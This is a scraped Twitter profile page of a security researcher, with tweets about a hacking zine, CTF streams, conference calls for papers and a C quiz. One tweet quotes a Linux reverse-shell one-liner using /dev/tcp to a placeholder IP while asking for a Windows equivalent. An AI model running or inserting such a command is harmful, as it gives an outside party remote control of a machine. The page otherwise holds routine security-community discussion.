Gynvael Coldwind

@gynvael

security researcher / programmer ⁂ Paged Out! zine lead ⁂ founder/player ⁂ technical streamer () ⁂ slide maker ;)

Joined July 2009

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  1. Pinned Tweet
    Jan 20

    If you're into programming, hacking, retro computers, electronics, etc check out our free magazine: 💾 Issues #1 and #2 are already out! For Issue #3 we're looking for: - Articles and Art! - Free community ads! - And sponsorship ads! Deadline: 20.02.20

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  2. Retweeted
    Feb 1

    Here is my massive lib db (for ctfs/wargames/blind pwns etc.). It consists of thousands of libs across over a dozen Linux distributions and architectures spanning the last 20 years. It indexes symbols & gadgets (including one gadgets AKA magic gadgets).

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  3. 21 hours ago

    Are bugs like this the new "bring a BSD/wireshark 0day to DEF CON CTF" meta game? Bring Your Own Platform Exploit? 🤣🤣🤣

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  4. Retweeted

    Dear Twitter hive mind: any suggestions for high quality Youtube channels about bio-chem-med IN POLISH (for a 14y/o kid)? Thanks 🙂

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  5. Feb 2

    If you're around Mannheim / Germany area, check out this new conference - they still have CFP open.

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  6. Retweeted
    Feb 1

    I'm really excited to share this. I have a blog! Go to to check it out. It will mostly include technical posts about cool stuff I learn or problems I solve in my professional life. It already has a few posts up. I'd love to hear your feedback

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  7. Retweeted
    Feb 1

    I'd like to thank , , , and for the inspiration and support in making this side project not die 🙏

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  8. Retweeted
    Jan 30
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  9. Retweeted

    I created a pixel perfect Nyan Cat animation in JavaScript almost 10 years ago. The original gif is 30K while this version is exactly 1K, a reduction in size of almost 97%. If u like JavaScript compression/obfuscation and reverse engineering, have a look!

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  10. Retweeted
    Jan 30

    Just published a follow-up to my Adobe Reader symbols story on the Project Zero blog. Turns out there's even more debug metadata to be found in some old (and new) builds, including private CoolType symbols. Enjoy!

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  11. Retweeted
    Jan 30

    The epidemic will get the travel influencers first. Then come the daily vloggers who walk around outside too much. And the last content to die out will be the gamers on Twitch. Sitting 24/7 infront of the PC doesn't seem so bad anymore!

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  12. Jan 30

    Just a quick reminder that confidence 2020 CFP is ending soon (3rd Feb) - (confidence is the largest technical security conference in Poland with talks in English; it's happening in May in Krakow)

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  13. Jan 29

    Question: What's the shortest Windows reverse shell that you know? Is there something like GNU/Linux' bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 ? Obligatory disclaimer: Asking for a friend.

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  14. Jan 27
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  15. Retweeted
    Jan 26
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  16. Retweeted
    Jan 23

    And the answer is... "xxxx". Most libc implementations (glibc included) apply buffering to stdout. When forking, childs are exact copies of the parent, and they also inherit a copy the internal libc stdout buffer. The buffer is then flushed at exit, by each of the *four* childs.

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  17. Retweeted
    Jan 23

    That's my template C code for testing shellcode right there :D

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  18. Retweeted
    Jan 22

    So has just finished streaming 7th installment of solving PicoCTF challenges and I've finished editing part 2 of solving Hitcon's CoreDumb with Ghidra so if you don't have yet enough 👉 📺

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  19. Retweeted
    Jan 22

    Yet another C quiz! Can you tell the output just by looking at the code? int main(void) { fork(); putchar('x'); fork(); return 0; } gcc prog.c && ./a.out Assume standard up to date Linux glibc implementation.

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  20. Jan 22

    Going live in 10 minutes with another picoCTF 2019 stream:

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  21. Retweeted
    Jan 21

    Here's a question: Who is your favorite cyberpunk / sci-fi / fantasy digital painter / pixel artist? Do they do commissions? We've started looking for artists for next covers and would love your recommendations ( is very picky though🧐, so give us your best shot!😄).

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